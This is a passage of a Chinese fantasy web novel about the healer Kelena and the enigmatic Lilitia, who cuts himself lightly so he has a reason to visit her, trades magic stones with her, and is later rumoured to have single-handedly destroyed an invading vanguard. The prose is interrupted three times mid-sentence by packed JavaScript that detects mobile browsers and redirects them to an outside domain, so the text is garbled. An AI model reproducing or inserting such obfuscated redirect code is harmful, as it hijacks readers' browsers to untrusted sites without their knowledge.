“没有啊,我很喜欢克蕾娜。”利利提亚转过目光看她,“善良、诚实、温柔,和我完全相反。 “跟你聊天很轻松,我有时候都觉得有点遗憾,如果我在罗穆卢斯的时候就认识了你,会不会早一点和你成为朋友呢?” 克蕾娜哼一声:“想多了,要不是因为在阿瓦托芬遇到,谁要和你当朋友。” 利利提亚微笑:“你承认我们是朋友了。” 克蕾娜宕机了三秒来重启语言模块,恼火地导出万用结论:“滚出去。” 利利提亚从令如流,在离开前笑着道:“开玩笑的。我不喜欢假设过去的如果,已经发生的事,存在再多可能性都没有意义。 “我们现在所拥有的就是无数唯一叠加在一起的仅有结果,这不是比任何可能性都更接近命运吗?” 100.幕间-《借口》(3) 利利提亚偶尔会一个人带伤来医疗部,没有比试的对手,平淡地走进克蕾娜办公室,像普普通通来找她串门的。 伤势也不重,不如说轻得叫人意外,基本只有一道简简单单的口子,克蕾娜没放在心上,随手帮他治了。 直到同样的事发生了第二第三次,克蕾娜才逐渐生出一点疑虑。 作为意外受伤,伤口太平整,深浅又把握得刚好。 像利利提亚这样的人本就不容易受伤,即使碰到什么意外,也不可能次次碰得这么巧。 克蕾娜判断:只能是他自己划的。 于是她对着利利提亚的伤口深思了十秒,抬头选了最直接的问法:“你有受虐癖吗?” 利利提亚说:“没有哦。” “我是医生,你放心,我不会因为这种癖好嘲笑你。”克蕾娜替他治好伤口,郑重地说,“精神科在楼上。” “谢谢。”利利提亚针对治疗报以感谢,并答复,“但我真的没有受虐癖。” 克蕾娜短时间没能想出第二种解释:“你先说这伤是不是你自己划的。” 利利提亚显出一点惊讶:“被你发现了。” “你看不起我的专业水平?这么明显,你在伤口上装都不装一下!” 利利提亚说:“我想也不必做得这么复杂。” “那原因?” 利利提亚沉思了三秒,有点羞赧地抬起眼,看着克蕾娜:“如果我说是为了让自己有借口来找你呢?” 克蕾娜沉默三秒,说:“精神科治不了这个。” 她指了指办公室里的医疗用床:“你去那边躺下,我给你脑壳打开看看。” 利利提亚:“哇真的吗好刺激。” “别逼我真开你脑壳。” 利利提亚有些为难:“这不太好解释,说来话很长。” “我对你的心理变态历程确实没有兴趣给我长话短说。” “好吧。简单来说就是——‘体质原因’。” 克蕾娜翻了翻白眼,狠狠啧一声:“你的体质到底有什么毛病?” 利利提亚斟酌着道:“怎么简单地解释呢……大概……跟家族历史和血脉什么的有关系,还是不说了吧,你肯定不乐意听。” 话题一涉及到“家族”,克蕾娜就不好往下问了,她也确实不想听。 克蕾娜反射性地皱了皱眉,停顿一下:“你非得动不动划伤自己?” “偶尔一次就行,我自己可以控制,也不会伤得不好处理。” 那伤口确实简洁干净,但克蕾娜对于各种形式的自伤行为都感到不舒服,不知道他自伤的具体理由,又不愿再往下问,心情烦躁地讥诮道:“作为受虐癖来说,是伤得太低调了。” “抱歉,要麻烦你这些……唔,等等,”利利提亚若有所思,对着克蕾娜眨了眨眼睛,“或许还有一个方法,也不用让你每次看见都烦心。” “啊?” 利利提亚眼睛明亮地看着克蕾娜:“你会做魔法石吗?” “不会。”克蕾娜斩钉截铁。 克蕾娜其实听懂了他的意思,“人造的魔法石”,贵族中从来不乏这些小玩意儿,克蕾娜小时候玩过不少,曾经颇感好奇。 理论上所有魔法师都可以制作魔法石,提前学习技巧知识并加以练习,按前人的模板操作可以少绕一点弯路,但也不能完全避免失败的可能。 克蕾娜在感兴趣的时候曾经按照教程自己练过几次,但全都失败了。 保存在魔法石中的法术多有限制,会随着使用损耗,制作过程又太枯燥,克蕾娜觉得不如研究药草混合效果或者复杂的治愈法术有意思。 遂把那些因制作失败而破碎的石料打包好一丢,拍拍手把这事扔一边了。 利利提亚提起人造魔法石的用意不难猜,他自己划开的伤口用最基础的治疗法术就能愈合,只要他用具有治疗效果的魔法石自行处理,就没有为这种小伤特意打扰克蕾娜的必要。 道理是这个道理。 “我离开尤利乌斯家的时候顺出来过几块治疗的魔法石,不过在旅途中已经耗光了。 “我擅长的魔法种类太单调,平时总需要借助魔法石使用其他类型的魔法,就自己研究了一下制作方式。 “还挺有意思的,克蕾娜的话,一定能做出来,要试试看吗?” 克蕾娜觉得心情莫名更不快,她归咎于自己刚刚回忆起的那堆报废石料的缘故:“那你怎么不去商店买治疗石?魔法石还会心悸梦魇不成?” 再不然去找医疗部的其他同事,有本来就擅长或对这方面感兴趣的医生。 最基础的治疗魔法石谁做效果都一样,理由很多。 那双蓝色的眼睛望着她。 利利提亚说:“但我更想要克蕾娜做的。” 克蕾娜移开视线不耐道:“没事就滚,我要工作了。” “好吧。”利利提亚倒没因为提议被拒绝而失落,离开座椅,踏上了窗台,“那下次见。” 克蕾娜:“等一下。让你从门滚谁让你从窗户滚了!这里是三楼,你摔不死还给我找事做?” 利利提亚看了看窗外:“非常安全的高度。” “你最好先把巡防营的安全手册再读三遍。” “我下午有事去天象司,从走廊出去要绕路,这边更近。”利利提亚说,“我以前的房间在六层,我经常翻窗户溜出去,那样不容易被发现。” “最先摔断腿的是自认擅长攀岩的人。真想死去那边躺着,我给你脑壳打开更快。” “哎呀,那还是下次吧。” 利利提亚笑着说,跳出了窗台。 克蕾娜赶紧起身到窗边往下看,利利提亚已经平稳地落在地上,抬头向她招了招手。 “神经……”克蕾娜低低骂了一句。 打开脑壳只是个玩笑,但克蕾娜有时候真想知道他大脑是什么构造。 祭司考试结束之后,克蕾娜去藏书室还书,正好看到了有关魔法石制作的书本,犹豫了一会儿,还是借了回去。 那段时间她有点空闲,就按照书上的说明试着做了做,没想到一次就成功了。 上次尝试制作魔法石好像还是十三四岁的事情,现在想来,以那时对魔法的浅薄掌握和急躁性子,会失败也是可以想象的事情。 她对着那块成功的治疗石思考了一会儿,本打算把它直接塞给利利提亚,但克蕾娜随便选的石料在魔法附加成功后,现出一种淡绿的色泽。 原本明明是灰色的石头,没想到成品颜色具有这样的随机性。 克蕾娜原本是不会多想什么的,但不知道从什么时候开始,慢慢地也学会了多想一点。 她的眼睛是蓝绿色,送自己眼睛颜色的物品给对方是不是会被人误会……会吗? 她下意识嘲笑了一句自己的多想,但又看了那块魔法石一会儿,最终决定再做个新的。 没想到接下来反而连续失败了三四次,克蕾娜有点火大地显出那种碰到难题要死磕到找出解法的劲头,斗志蓬勃地钻研了几天,直到最后完全熟练掌握了这门技巧,成品魔法石也装满了一小盒。 克蕾娜回过神来,对着那一小盒魔法石沉默。 虽然思考过是否要在病房里随机派送干脆把它们都分了,但那就有种昭告天下她学了做魔法石的事,要是被人问起她怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16461733|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么突然对这个感兴趣也很头大。 因此克蕾娜把它们放在了寝室,从里面挑了一块在利利提亚来的时候塞给他。 那块魔法石是浅黄色的,月亮的颜色。没什么错处可挑。 利利提亚接住它愣了一会儿,看着克蕾娜。 克蕾娜早挪开了视线不想看他,心里莫名烦躁:“最近有空就做了做,你不是要这个来着?” 果然还是很尴尬。 利利提亚一时竟没说话,克蕾娜心里更烦了,准备瞅瞅这小子干啥呢,就见利利提亚正低头打量那块魔法石,看得很认真。 他抬起眼的时候碰到克蕾娜的目光,克蕾娜心里一跳,又心说她心虚什么,这次克制住了没移开眼神。 “谢谢你。”利利提亚温柔地说,“下次划伤自己的时候我会珍惜地使用的。” 克蕾娜这下不烦了,只是火大:“你故意要说这种让我血压升高的话?” 利利提亚笑,却没追问克蕾娜怎么改变心意最终学了做魔法石的事,或者制作的过程和经历,克蕾娜担心过的问题他一个都没问,只是说:“石料起码该让我来准备吧?” “随便找的石头,不值几个钱,要是嫌质量不好别用。”克蕾娜哼一声。 “怎么会?克蕾娜做的一定是最好的。” “你别随口就说这种话我起鸡皮疙瘩了。” 利利提亚仍然捧着那块魔法石,想了想,说:“收到了克蕾娜的礼物,我也应该回礼。” 克蕾娜说:“事先声明不要很难存放的熟食,你上次带的烤鸡我根本吃不完,是跟同事分掉的。” “啊真遗憾,那我上次应该帮你多吃掉一点。”利利提亚拢起手,收好了魔法石,“不过这次不一样,既然是克蕾娜用心准备的礼物,我总该送点别的。” 也没有很用心。克蕾娜想这么说。 但是做过魔法石就知道,制作过程绝对需要专注和耐心,要说不用心反而欲盖弥彰。 “不要不好收纳不好保存被人看见不好解释的东西。”克蕾娜干脆没客气地说。 利利提亚比了个了解的手势。 他离开前也没说要送克蕾娜什么,但听来似乎不是吃的。 送礼是人际交往中不可缺失的一环,克蕾娜以为利利提亚应该很擅长礼物选择的门道,毕竟家族交往中要送东西的场合实在不少。 而克蕾娜却不擅长,每次向朋友送礼和回礼都要烦扰。 如果利利提亚真送她什么很讲究的礼物,她肯定不能不回赠,但好在目前为止,他从没让克蕾娜费过这个脑筋。 利利提亚有时来她办公室会带点东西,比如在城中巡逻的时候发现了某家面包店的酥饼很好吃,就给她捎了一盒;比如食堂今天的特色蛋糕不错,他过来也带了一份;再比如巡防营的同事按家乡配方做了些水果糖,利利提亚也给了她一袋。 不仅如此,在把吃的在克蕾娜桌上放下后,他有三成几率当场打开开始吃,一系列动作自然得让克蕾娜有好一段时间没能反应过来这些也算礼物。 但他上次送的曲奇饼干铁盒确实挺好看的,大小也合适,克蕾娜拿来装零散文具了。 克蕾娜说:“既然你把这些当做送我的礼物,你当场吃算什么意思?” 利利提亚停下嚼饼干的动作,想想说:“为了证明我没下毒?” “滚。” 虽然有点莫名其妙,但克蕾娜却对他这种行径反而接受良好,甚至觉得更自在。 她也一样是有什么吃的,在利利提亚来溜达的时候塞点给他,两人互相都会请客吃饭。 简单且顺理成章,不需要多想,克蕾娜觉得很轻松。 101.幕间-《借口》(4) 克蕾娜不喜欢抽象又无形的东西,比如哲学、艺术,或者“人的想法”。 她学的是医疗外科,一开始只是因为父亲的影响,但这门类刚好适合她。 生物的身体构造复杂而精妙,像一环扣一环的机械齿轮,有迹可循,有理论可推导,更重要的,它是有形且可见的。 被撕裂的皮肤下更有交错的血管、肌肉、筋膜和骨头,说话、行走乃至转动眼球,都需要那么多身体部件的支撑运转,很难想象人的躯体生来就有如此精巧而自洽的天然逻辑。 克蕾娜喜欢这种自然运作的生命力。 排除故障,修正路线,就会自动向正常运转的状态恢复,这份求生求存的本能里,蕴含着多少人绞尽脑汁都不一定理得清的行动逻辑。 治疗魔法的底层逻辑,是医生用自己的魔力链接病人的魔力——即使伤患并非魔法师,其本身也具有魔力,只是不像魔法师可以与外界的魔力沟通,并操控使用它们。 相对来说,魔法师体内的魔力自我意识往往更强烈,甚至可能与医生的魔力互相冲突;而普通人不习惯操控体内的魔力,则更容易被引导。 对于用魔法治疗他人的医生来说,治愈后者更容易。 克蕾娜其实挺喜欢用魔法治疗时和人链接的过程,甚至人体内的魔力能诚实地反映出一个人的秉性,比起她不擅长的语言互动,这反而是更坦诚明白的交流方式。 人类因种族、外表、利益而将彼此分为不同的群体、组织、国家,为此敌对,互相伤害。 但不论是怎么样的人,那份渴望生存的单纯生命力都是相同的——哪怕是精神上求死的人,身体的本能仍然在寻求生存,这是不管怎样的人都完全共通的部分。 克蕾娜有时想,从这个角度看来,所有生命都是彼此的同胞。 她喜欢这种共通的本能。 看见病人的伤口愈合,重获健康,言行中流淌出生命力的时候,克蕾娜感到温暖。 和同事聊到这个话题的时候,同事想了一会儿,说:“我虽然不能理解……我是做不到这么想,因为有些病人真的很讨厌,对吧? “比起人的共通性,我更不能忽视对方不好好遵守医嘱、无法沟通、脾气很差还会吼人的问题。” 克蕾娜其实最早并没有认识到,不是所有医生的看法都和她一样的,逐渐发觉这一点的时候,她有些茫然。 同事咬着吸管又沉默了好一会儿,对克蕾娜说:“我虽然做不到,但我觉得能发自内心这么想的你很厉害,真的。” 克蕾娜在对利利提亚使用治疗魔法时接触过他的魔力,不过,利利提亚的伤口都太浅了,没多少魔力接触就能治愈,那些浅层接触不足以对他的本性做什么补充说明。 至于许多医生一对他用治疗魔法就会出现负面影响的事,始终也没个解释。 利利提亚说,可能是因为他的魔力比较排外,对他人的魔力接触本能会产生攻击性,他自己也无法控制。 但克蕾娜就没事,可能是因为两人有血缘,他觉得比较亲切。 克蕾娜听了又想翻白眼。 真会因为血缘就觉得亲切,还跟家族切断关系跑得十万八千里远,克蕾娜那跟他薄得也就比水浓一点的血缘关系还扯上亲切感了。 “你就是成心不想找别的医生治吧?”克蕾娜磨牙,“医疗部那么多医生,你要是多找几个试试看,一定也有给你治疗也没症状的。” “可能吧。你不觉得,人受伤的时候其实非常脆弱吗?通过伤口就可以被人碰到自己最本质的部分,很让人不愉快。” “头一回知道你这么脆弱敏感,被别人的魔力碰到又怎么了,你做贼心虚?” “怎么说呢,有点像——”利利提亚支在桌面上的手臂向前倾了些,“‘把性命交给别人’一样。但是,如果是克蕾娜,我觉得把自己的命交给你也没关系。” “太沉了。你自己的命自己背着。”克蕾娜顿一顿说,“不对,你也没解释为什么我给你治疗就没有异常。” 利利提亚说:“因为克蕾娜是个坚定又温柔的好医生。” 克蕾娜不知道怎么形容他当时的表情,皱眉道:“什么意思?” “单纯的字面意义。”利利提亚没再解释,轻飘飘把话题揭过了。 “你真的没跟利利提亚交往吗?” 又被同事问起这个话题的时候,克蕾娜已经学会能如何不慌不忙地解答,并顺便捎上两句对此人的刻薄评价,以不一定有效果的方式尝试劝诫可能对他有特殊好感的盲目对象。 但这位同事跟她平时就熟,热心交际,性格外放,见人见过得多大约不容易被利利提亚的漂亮表象骗,克蕾娜就省了那套劝诫。 “诶——很可惜啊,我觉得你们关系很好。不交往试试看吗?不真正谈过其实是不知道合不合适的。” 同事说,“我前两天刚跟前男友分手,只当朋友的时候觉得他挺好的,谈了才发现有很多合不来的地方,所以干脆地做回朋友了。” 克蕾娜稍微有点失语。 她还记得某个表姐因为未婚夫喜欢上别人要退婚的事哭了一个月,但这位同事在她印象里已经分过起码六个男友了。 至多伤心一两天,眼泪掉完一抹眼角,第二天又容光焕发热心于寻找新的恋情。 对这做派克蕾娜属实很难欣赏,但同事人很好,跟克蕾娜关系也不错。 “我跟他都没那个意思。”克蕾娜说。 “这样吗?遗憾……”同事眨了眨眼,“那你知道他喜欢什么类型吗?” 撤回前言。 克蕾娜从她眼里看到了挑战的兴趣。 “他可能对女的没什么意思。”虽然对男的大概更没意思。 克蕾娜只讲了前半句,试图直接断掉同事的念想。 “嗯?可是我也没听说他交过男朋友,倒是有些跟女生的绯闻。”同事竟表示了怀疑。 跟传言掰扯是不对的,传言里哪天说利利提亚脚踏十条船也可能发生,克蕾娜觉得还是他当众从十层楼上跳下去更有可信度。 她决定转移方向:“虽然利利提亚确实长得好看,说话好听……我是说,他也有很多缺点。比如,他在某些方面,其实挺不成熟的。” 背后夸他已经够让克蕾娜头皮发麻了,她更不习惯背后损人,而且是有意说一些有所偏颇的情况,克蕾娜开始觉得舌头都有点发麻了。 同事不负所望:“哎呀,还有这么可爱的地方?” 救命啊。克蕾娜有点不想说了。 她硬撑着补充了一句:“而且,可能,不是很有责任感……” 虽然利利提亚目前工作做得很好,在同事间的风评不错,但克蕾娜想到:他在罗穆卢斯的时候也是如此。 而依然到了后来,他抛下自己的“职责”离开了。这评价或许不算冤枉。 “这倒是关系不大。”同事对这点却异常轻描淡写,克蕾娜很困惑。 “我也知道,他那种人,漂亮聪明又能干的,哪里真的能留得住?条件越优异的,越有更多选择,就很难为一个选项停留,我有自知之明。” 同事耸了耸肩,眼神明亮地一笑,“谈恋爱嘛,又不是非要奔着什么结果,过程开心就行了呀!开心就接着待在一起,不开心了就好聚好散。 “虽然我也有想不开要复合的前男友——那是他的问题,我想得开,可没想继续找罪受。” 克蕾娜愣了一下,她已经知道阿瓦托芬就是这样的地方,但仍然有点不太适应。 奥古斯塔家是老派贵族,许多势力越大的家族越守着父母指婚那一套,看的都是门当户对,有利与否,像克蕾娜母亲那样自作主张的自由恋爱是很少见的。 或许因为小时候与祖母接触得多,克蕾娜很懂得这一套,也仿佛默认这观念。 虽然母亲对她和哥哥说过,要是喜欢上什么人就勇敢去追,不要考虑身份地位,相信爱情的力量什么的。 年幼的克蕾娜却想,祖母所说的婚姻的利益也不是没有道理。 说到底,克蕾娜并不是特别在乎爱情。 如果说要和某人共度一生,她第一时间会描绘的形象是个和自己志趣相似的同行,有利于工作和研究的一种稳定而波澜不惊的生活。 利利提亚充满不稳定性,只是在想象里都无法将他放入这样的场景,克蕾娜根本没有想过这种可能。 连考虑将他放入想象这件事本身就已经足够荒谬,克蕾娜自己也不明白。 她愣神的时候,同事却向克蕾娜贴过来,颇有些促狭地压低了声音:“你说了这么多利利提亚的不好,就是想让我放弃吧?你虽然不好意思说,是不是还是喜欢他的?” 好心没好报啊。 克蕾娜想苦笑,但没能从刚刚的思绪里回神,显出一种慢半拍的恍惚:“真没有……就是……” 在思考还没有跟上身体的时候,克蕾娜像是随口说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16465710|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“我生理上不太能接受那家伙。” 同事认真地问:“床上关系不和谐?” 克蕾娜愣了三秒:“不是,我没跟他交往过。” “没交往也可以上床,不冲突啊?”同事也理所当然地感到困惑。 太开放了,阿瓦托芬还是太开放了。 克蕾娜还停留在婚前性行为会被批判得体无完肤的保守思维环境里,没能习惯这种迭代。 意识到自己刚才下意识说的话里有被误解的地方,克蕾娜苍白而无力地扶额:“真没有……” “好啦好啦,不说了。”看克蕾娜真的为难,同事点到即止了,“哎,我本来还想推你一把,以为旁观者清了。但也是,当事人自己的感觉和别人看着不一样,还是你自己判断更重要。 “不说了,抱歉呀克蕾娜。对了,我上周在城里发现了一家不错的餐厅,晚餐有空吗,我请你吧?” 克蕾娜晚上和其他同事预定一起研究一项新药的实验,婉拒了她的邀请,同事有点遗憾,说那下次再约。 不愿意承认吗? 和同事分开后,克蕾娜又想了一会儿,很别扭地,很不想肯定什么地思考:她其实在很多方面上佩服利利提亚。 他的那些恰到好处的礼仪和说得动听的社交辞令,对人际关系游刃有余的处理能力,精准而快速的反应,还有其他种种。 即使有很多表演的成分,那也起码是有表演这些的能力,而克蕾娜根本演不出来。 真诚不是缺点,但过度的真诚反而会搞砸很多事,克蕾娜只能真诚,是因为她学不会其他伪装的方法。 她未必是想做到利利提亚那种程度,但偶尔也对那样的处事方式感到羡慕。 克蕾娜想到,她确实,不愿意承认,但她其实很羡慕利利提亚切断过去的果决。 人是由过去构成的,不可能抛开你出生成长的地方铭刻在你身上的东西,哪里是说放弃说扔掉就可以做到的。 克蕾娜始终做不到。 她仍然能回忆起祖母把幼时的她放在膝上为她念故事书的场景,哪怕她大多时候古板、严厉又现实。 即使那其中有因为她的发色而产生的偏爱,克蕾娜仍然能在那些回忆中拾得很多温情的东西。 即使罗穆卢斯在她的记忆里是一座充满不安不定,用华美外衣粉饰暴力至上,等级森严而沉闷的国家,她在那里也不是没有获得过快乐,但更多的是感到痛苦。 克蕾娜的母亲明白这一点,所以替还年幼的她选择了逃离。 对离开这件事,克蕾娜本身并不后悔,但她时不时想念自己还在罗穆卢斯的家人,对自己实际爱过却也憎恶的故乡,两种感情都无法割舍。 利利提亚让她想起故乡,想起家族所代表的压抑,直到克蕾娜和他逐渐熟悉,了解他日常里的另一面,那种感觉才得到些许消解。 但另一种不安在滋长,克蕾娜始终无法明确地形容出它的形状。 利利提亚说他不喜欢提过去的事,但和克蕾娜交谈的时候,他有时仍然会主动提到罗穆卢斯。 克蕾娜想也理所当然,他们本就没什么联系,找共同话题很容易往过去都拥有过的同一个故乡上拐。 而他确实也是由罗穆卢斯所教养的一切构成的,比任何人都更能体现他姓氏所代表的东西。 根本谈不上抹掉影响,那些影响是从骨髓到外在,塑造他全部的基础。 这样说来,罗穆卢斯对利利提亚所拥有的影响,应该比克蕾娜还深刻很多才是。 但他提到罗穆卢斯,提到亲属和那里认识的人,在那里经历过的事情时,形容语气都轻描淡写,像在说一件可以聊作谈资的、并不重要的事。 他好像真的不在乎。 又或只是克蕾娜没看出来,他掩饰得太好? 克蕾娜有点疲于思考了。 她不喜欢想这些抽象而无形的“感觉”“概念”,想了又能得到什么结果呢? 一切照常运转,她的行为也不会为此变化。 还不如按照直觉走,人的身体远比人自己想象和以为的要聪明。 利利提亚又是她的谁?有什么理由,又有什么资格,凭什么让她非得去想这些? 克蕾娜甚至觉得好笑,摇摇头甩掉思考的残渣,准备整理工作上的问题。 在刚刚那阵思考漩涡即将平复的波澜里,有一道声音说: 但那些都不是你讨厌他的理由,不是吗? 102.幕间-《借口》(5) 利利提亚的回礼是一块黑色的魔法石,镶在一个银制底托上,穿着一根棕色的绳子。 底托制式简单,看起来是现成买的,边缘雕着“最美好的祝福”这种常见的装饰用词,甚至是花体字,绳子倒是有手工编织的痕迹,一块儿用个简朴的白色首饰盒装着。 利利提亚说明:底托是他自己刻的。挂绳是市面上买的成品,当然首饰盒也是。 克蕾娜:“自己刻的你写‘Best Wishes’是有什么心事?” 利利提亚说:“本来想写克蕾娜的名字,又觉得太像失物招领。也不是生日和节庆,最后就选了通用祝福语,简短又包容多种含义,很好的祝福词嘛。” 他托着下巴指了指克蕾娜手里的魔法石:“魔法石是我做的。我一直对魔法石制作感兴趣,但自己动手做还是第一次。没想到比想象里要麻烦很多,一开始还报废了几块。” 克蕾娜挑眉,露出了嘲笑的神色:“哦?真意外,你还会失误?” “在刚开始学习和尝试的时候,我也是很容易犯错的。”利利提亚眨眨眼睛,“克蕾娜呢?做魔法石的时候失误了几次?” 克蕾娜看向手里的魔法石:“所以呢,你做的魔法石是什么效果?” “‘持有者受到攻击的时候,会自动攻击侵害者’的被动效果。” 克蕾娜沉默了一会儿:“哈?” “我能使用的魔法类型很少,所以能做的魔法石种类也有限。试来试去,最温和的就是这样。 “克蕾娜不会主动去伤害别人,我就想被动型的比较好。”利利提亚说,“你要是不知情,将来大概会生气,所以我还是提前说明吧。” 克蕾娜合上盒子,把它向利利提亚面前一推:“我用不着。做这个毕竟花了你不少时间,给更合适的人吧,你巡防营的同事什么的,比我更有使用情境。” “那就扔掉吧。”利利提亚随意道,“我没有其他想送的人。” 他忽然露出些生动多了的为难神色,叹了声气:“哎,确实不该做自己不擅长的事。下次还是送你蛋糕吧,西城区那家店出的新品——你刚刚通过了三级祭司的考试,也该庆祝一下,恭喜呀。” 利利提亚笑着倾斜过盈盈目光,口吻轻快且明亮。 克蕾娜莫名觉得胃里不舒服地扭动了一下,一时不知道说什么。 午休时间不长,利利提亚抽空来打个招呼,送完东西也准备走了,克蕾娜最终还是叫住他:“……谢谢你的礼物。” 利利提亚在门边顿了顿脚步,回头微笑:“不客气。” 克蕾娜从盒子里拿出那块魔法石,又看了一会儿。 魔法石表面有着黑曜石般的光泽,正中一道白色的裂纹,摸起来发凉。 利利提亚也没选什么让人误会的颜色。 克蕾娜突然无意义地想。当然,他很聪明。 克蕾娜把它收回盒子,放进了抽屉深处,很长时间没再拿出来过。 医疗部大多时候不是很忙,克蕾娜接诊得最多的病人来自巡防营,基本是些训练中的事故擦伤。 也有一些城中居民,像是切菜时切到手、踩椅子取高处的东西不慎摔下来、撞到什么尖锐物品碎片等日常原因。 巡防营的伤员受伤原因和伤口相对类似,而居民的伤情五花八门,例子复杂,沟通难度也更高,很少让实习医生处理。 克蕾娜实习期的时候基本待在神殿内,后来才偶尔有在神殿外缘的医疗分区排班。 总的说来,严重的伤势不多,除非有人切菜时因为正跟人吵架生气而下刀太重,偏偏刀又下偏了。 克蕾娜接待过一次这样的例子,记忆犹新。 阿瓦托芬没有阶级差异,没有奴隶和贵族,中立的和平地带。 街上到处是轻快的气息,包容在一片安定的快乐里,克蕾娜很喜欢这样的氛围。 这确实是月神庇佑下才能存在的奇迹,越是从其他国家而来的人,处在这样的环境中,应该越对此深信不疑。克蕾娜是这么以为的。 直到城中发生过一次争端,有规模的预谋。 原来真有人会为了摧毁这样一个理想乡而长久潜伏在此,装作与周围所有人相同,而一分一毫不因为被这片和平的辉光照耀而动摇。 也或许动摇过,但结果是不变的,克蕾娜无从得知其中的历程。 她知道这件事的时候罕见的繁忙,医疗部里等待着许多在争端中受伤的人,有巡防营的守卫,也有普通民众。 听说间谍已经被处决了,他们被查出来自某个与阿瓦托芬名义上交好的国家,神殿在处理后续。 同事把克蕾娜换下来让她休息一会儿,克蕾娜坐在走廊的长椅上发呆,背景音里朦朦胧胧吵闹着叫喊和泣声。 神殿的日光仍然宁静安详,但她浸没在浓郁的消毒酒精和血腥气里,甚至对这些气味已经迟钝。 克蕾娜在熟悉的光景里感到一阵陌生的茫然。 总是有很多事不是她理所当然以为的样子,因为太过复杂而不可见,厘清它们远难于拼接断裂细小血管的脉络。 克蕾娜只善于应对有形而具体的创伤,无形的阴影使人感到无力,对于无法改变的庞大东西,个体往往只能选择视而不见地逃避。 后来在有国家向神殿宣战的时候,克蕾娜也没那么意外了,只是仍然觉得对方有点不自量力,无意义的行为。 外交部的朋友跟她谈到这里的时候叹气,忧虑这一场开端的后续:一个国家的宣战只是试探,试探神殿的态度与力量。如果他们感觉到神殿的虚弱,真正的战争便绝不止于此。 克蕾娜感觉到熟悉。从前母亲跟她谈起罗穆卢斯时,也是这样的忧虑。 仿佛她离开了一个巨大而沉闷的圆圈,又无知无觉地陷入另一个相似的处境。 阿瓦托芬和罗穆卢斯当然不一样,克蕾娜对自己讲。 但她感到同样的压抑。 克蕾娜厌恶暴力,暴力只会带来流血伤害,纵使是用于战斗的魔法,也不过是另一种包装过的暴力。 但要抵御别人的伤害,就只能自行拿起武器,以暴力反击和压制,像是一个周而复始的死结。 有相同生命力本质的人和人之间,真有如此巨大而不可调和的不同吗? 克蕾娜困惑中听到朋友还在忧心忡忡:像引发之前那场争端的间谍那样的人,城内不知道还有多少,也不知道会在什么时候爆发。 天象祭司事前有所预警,巡防营反应足够迅速,但免不了意外和——哎,信仰无法轻易证伪,阿瓦托芬向来慷慨接纳不同的声音,但仁慈和善意为什么总换来背叛呢?难道善意一开始不存在才更好吗? 朋友的声音听起来也难过而困惑。 克蕾娜想,每个人解答不了的问题都有很多。 那场战争发生在阿瓦托芬城外空旷的沙地,这个距离还不算违背不战誓约的承诺,但神殿不会主动发起最初的攻击。 细节如何克蕾娜不知道,也不觉得自己能想象明白。 对方的军队里当然有魔法师,巡防营也有。 魔法只是让战争的形式更加复杂和难以预测了。 克蕾娜那时还只是三级祭司,虽然跟着同僚一起在城边驻守,但不是最外侧那圈最先接应伤员的医生,比较像为防忙不过来而安排的后备人员。 医疗部的前辈们行动有序,不知道是神殿曾发生过这样的情况,还是他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16471347|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们从战争中的国家而来,早有应对如此场面的经验。 克蕾娜跟其中几位熟悉,猜想约莫两种可能都存在。 战斗大约在白天开始。毕竟是月神的神殿,在夜晚战斗或许会得到加强,对手不会送上这样的有利因素。 但克蕾娜在营帐边等待的时候,只有帐子的布帘被风搅动的声音最清晰。前线医生的营帐似乎并不忙碌。 她有点奇怪,但没多想。 比如对方行动谨慎,采用长线作战,和神殿的守卫没怎么交锋;或者他们声东击西,让神殿把注意力放到城外,却在城内动手脚……应对这些情况的准备也不是没有,神谕祭司更该为这些事操心。 克蕾娜担心也没有用处,所以心情平静。 最前端的守卫和医护人员在期间会定时返回几位传递消息,傍晚时回来了几个人,安然无恙,却都神色古怪。 无伤而返本该是好事,克蕾娜遥遥见到,却不明白他们各异的神色。 只是有一道问题顺着那隐秘的气氛传播开,许多人在问: ——那个“利利提亚”是谁? 克蕾娜几乎忘记了,她最近太忙,医疗部频繁开会,忙碌限制了她多余的思考时间。 巡防营的繁忙程度不相上下,她有那么几次想起过利利提亚,又很快置于脑后。 或者她只是不愿意想起来。 那些流动的传闻说:“利利提亚”是巡防营的新人,到阿瓦托芬才一年半左右,但身手很好,当时很出名—— 他的资历不够,出身不太安全,所以考核期很长——他主动申请参与了这次战争的先锋队伍…… 确实很……但不太听指挥——可那样,也确实用不着听了吧? 传言的碎片让克蕾娜指尖发冷。 他们说:对面的占卜师做了错误预判,没有长线计划,一开始就压上了全力,结果出来得很快。 对面大约五百人的先锋兵力,不知道包含了多少比例的魔法师,无一生还,全灭。 他们的对手只有利利提亚一个人。 